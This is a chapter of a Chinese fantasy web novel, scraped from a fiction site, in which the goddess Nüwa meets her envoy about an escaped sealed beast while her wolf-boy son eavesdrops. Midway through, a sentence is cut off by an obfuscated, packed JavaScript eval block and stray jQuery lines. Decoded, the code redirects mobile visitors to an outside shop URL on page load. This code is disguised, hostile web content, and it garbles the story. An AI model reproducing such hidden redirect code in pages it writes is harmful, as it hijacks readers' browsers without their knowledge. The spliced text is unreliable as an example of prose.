文趣网 > 其他小说 > 娘,我也是个男人啊 > 8. 第 8 章
    神使入山了。

    阁内众人慌忙跪地行礼。

    姬清淼一人立在低伏下去的众人之间,静候那车辇落地。

    不多时,那奏着《长欢乐》的行列缓慢落在清心阁外的湖面上,阁楼内顿时一片缤纷炫光,霎时满室芳香。

    姬弗有小鼻子被呛得直打喷嚏:“娘亲,什么呀?”

    姬清淼却未看他,肃穆着神色遥望湖面上的车辇。

    一旁蛾眉突地奔过来,把他拉下去,捂住他嘴巴。

    窗外,那浩荡仪仗的彩光结界如莲花一般片片剥开,神光慢慢灭了,香马收了羽翼,踏在湖面上喷鼻。

    彩旗列行,铜角高鸣,行列最首的金木雕车,车门缓慢一开。一旁一个五大三粗、胸前刺青的大汉,久已侍立在旁,此时前跨一步,小心护着车内的人下来。

    下来一个冰雕一般的人。一身缠枝宝莲绸缎紫袍,雪睫银面冰寒神色,白发光泽如真丝,迤逦及地,委在身后。

    由那大汉护着,踩着雕金足蹬,下了马车。

    蛾眉把姬弗有的头按在纱帘堆里,不准他出声,小声跟他说:“是神使。”

    姬弗有从鼻子里闷闷出声:“神使是什么?”

    蛾眉赶紧又把他往纱帘里塞了一回:“神嗣身侧,最最亲近之人。”

    姬弗有很不甘心:“娘亲最亲近的,不是我吗?”

    足声一霎现于清心阁书室之外,慢条斯理地由远及近。蛾眉狠狠把他埋进帘子里,跪在地上垂首,再也不分一个字给他。

    室间神香浓稠得几可滴露。终于,一只雪白的手扶上翡翠珠帘,雪色翡色映衬得鲜艳,拨着珠帘,缓慢一开。

    鹤如雪入室觐见,低垂了面孔扶肩半跪,对着上头的姬清淼道:

    “使者,鹤如雪。”

    方才那胸前刺青的大汉,护在鹤如雪身后,不下跪,一抱拳:“护法,鸠武。”

    鹤如雪再拜:“参见娲皇。”

    姬清淼略微颔首,羽袖一挥并在身后,复又往罗汉床上落了座:“起来吧。”又对其他诸人道:“都下去。”

    姬弗有刷的把头从纱帘中拔出来,就见娘亲要撵他走,刚委委屈屈地想大闹,又被蛾眉鬼鬼祟祟地在腰上狠拧了一把,来不及吃痛,嘴巴被狠塞了一团帕子,龇牙咧嘴地给拖了下去。

    *

    “神使是神嗣大人们身侧,最最亲近、信赖之人,同神主们说的都是极机密的话。”蛾眉把手里的球往空中一抛,湛蓝的天,那球掩得阴日轮一闪,“神使临山,众仙退避,连青禾殿下也不得在场。”

    姬弗有化着狼身,懒洋洋地趴在草坪上晒太阳:“他都跟娘亲说什么?”

    远山嘭的将那球打回去:“我们又没听过,我们如何晓得?”

    蛾眉纵马疾驰奔来,掣疆一旋,窜来的球梆一声被打回去:“大约是讲谕令何时颁布,颁布的如何,已下发多少界、多少洲、多少庙,有多少人参拜谛听,香火如何之类。”

    神之所以为神,是因凡人信奉。若无人信、无人奉,香火衰寥,神仙渐渐也就失了仙力,归于天地。

    因着受供奉,诸神便庇佑一方,大到天灾、兵祸、疫病,小到月令节气、日食月食,悉遣神使下凡,以早示神谕,垂告凡世。

    娲神于凡间界有三千六百座庙宇,十八万三千一百一十二信徒。这三千座庙,供的是娲皇姬清淼,而娲皇神谕,则由神使鹤如雪,颁传给八方门徒。

    忽地一阵嗖嗖响声,姬弗有抬头一看,那马球滴溜溜地朝他钻来,他甩臀卯力一踹,蹬得那球又嗖的朝远山飞去,蛾眉在马背上给他竖大拇指:“小狼,好球!”

    姬弗有迎着日光昂头傲立:“等我长大,要做娘亲的神使!”

    “你?”蛾眉远山彼此对望一眼,咯咯笑得都快坠了马,“你可当不了神使,狼是做不了神使的。”

    姬弗有两步跑到蛾眉的马下:“为什么?”

    “小狼你呀,血不够纯。”日光下,远山掀起帷帽的纱幕,朝他笑吟吟一指,“做神使的,要有至少一半的真神血脉,普通神仙都不成的,何况是妖?”

    蛾眉远远地道:“就连聿大人,都不成呢,便宜得了你?”

    那病男人不成,委实正常,谁说他小狼也不成?

    小狼才不信那个邪呢。

    姬弗有悄悄摸摸环望一眼,见远山蛾眉两个打马球打得不亦乐乎,无人在意他一头小屁狼,他伏低了身子,整个隐没在马腿高的草丛里,暗度陈仓地,淌着长草过去。

    姬清淼正在清心阁内与神使密谈。

    清心阁书室被金光罩整个扣在其中。此时已到了言将尽时,那金色的结界也快到了时辰了,变为浅淡的金色,缓缓流淌着细鱼般的光丝。

    鹤如雪已报完了今岁各地神庙的情况,端着茶呷了一口,“还有一事。娲皇下凡前,听闻南柱有异动,与总机令同赴了第十四层下界彻查。怎么却忽然下了凡?”

    姬清淼沉默。这件事情,她归山以来,人人问她,她全不知如何作答。

    “可否问过总机令?”

    “聿九檀答过。说是裂缝正在幽冥界转轮台附近,其时有大妖潜伏在侧,我们二人俱未察,一着不慎,为大妖所偷袭,刚好落入了转轮台中。”

    “原是如此。”鹤如雪吹着缥碧色的茶汤,雪睫仿佛结了雾凇的树枝,“天族听闻少神主仓促临凡,惊得上下大乱。彼时某正于十七洲传谕,天光大帝急传玄旨召某归天,要某去寻娲皇下落。某算了一卦,晓得娲皇此去不会太久,故而未从,依旧往下界传谕。”

    姬清淼一哂:“天族气得跳脚了吧。”

    “娲皇何必在意。”

    普天之下三十二界,有无数仙地、无数神祇,从前诸神各安其所,说是互不生事,其实是涣如散沙。及至寰宇生祸,众仙皆袖手。这

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17608360|205815||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    般各自为政,终于在四十万年前酿成大祸,使得当时四柱中封印的一凶,冲出天柱,为害世间。

    自那以后,众神推举玄龙一族做了共主,签了《三十二界条约》,组建天庭,恭听天庭号令,彼此协调配合。只不过,女娲山毕竟是女娲山,当真不听也无妨。

    鹤如雪品着茶又道:“南柱此番非同小可。那天柱地界,本就位于女娲山庇佑之内,娲皇此次不得不费心。据传,天庭的地动仪已报异象,梼杌确已出世了。”

    上一次,北柱中封印的穷奇借着大洪水逃窜了出来,闹得寰宇之内天翻地覆,上界七层至九层几乎被捏为一张扁平的饼,魔界的狐狸精坐上三花娘娘的宝座,众仙往十一无欲天逃窜,又往往道心有污,被无欲天的罡风削得稀烂。

    四十万年前的惨剧,各路神仙提起来,至今心有余悸。

    且,梼杌,那是暴悍之妖,性情较玄武猛烈百倍。

    “你确定?”

    “确定无疑。”鹤如雪捧着茶盏,眉目如茶液一般无波,“故而,天庭命某上山,召娲皇出世,处置此事。大帝有言,望娲皇修养后,即刻升十三天。”

    “知道了。”姬清淼应。

    正事悉已谈妥,金光罩流光粼粼的结界攀上雷电形的裂纹,金色越来越薄,终于咔擦一声,碎了。

    金光噼里啪啦坠在地上,在珠帘后侍立已久的鸠武立即迈步进来,护在鹤如雪身侧。

    神使并没有攻击的法术,因着使命是颁传神谕,上通下达,因此要求道心至纯至洁,不可有杀心,故而护法务必寸步不离。

    鹤如雪欲将这盏旁处没有的金液茶吃完,故未起身,悠闲地又问:“听闻娲皇伤了记忆,确有此事?”

    姬清淼无言去望窗外,叹息。

    鹤如雪于是会意:“如何伤的?”

    “我也不知。说起来,我是与聿九檀同赴下界,可是他只见到我掉下转轮台,不晓得我伤了记忆。”她往姬青禾的宫殿方向一努下巴,“青禾说,是大妖那一下,伤了元神。”

    “若是元神伤了,确说得通。神山上灵气丰沛,说不准有一日,往昔就去而复返,您勿虑。”

    那秃脑袋后面缀着一个光环的护法此时粗着嗓门插话:“是了,是了,劲儿使大了,什么事都有。一力降十会,神仙也是这样。我方才,哎,就方才啊,搁您这山上瞧见一个孩子。好家伙,多大点的娃娃啊,将那几近弱冠的,一脚给蹬进水里去了!”

    说完,纳闷地朝她一抱拳:“往年来您这,山上全是羸弱女仙,便是男的,也是聿大人那般,没有孔武的。那孩子却是何人?”

    姬清淼一头雾水:“你说的是谁?”

    鸠武当然比她更摸不着头脑,比划:“就一个……黑头发的孩子。……这么高。那劲儿大的,我草。”

    姬弗有早在一旁埋伏许久,听见被夸了,乐得弹飞出来:“我草!我草!是我!”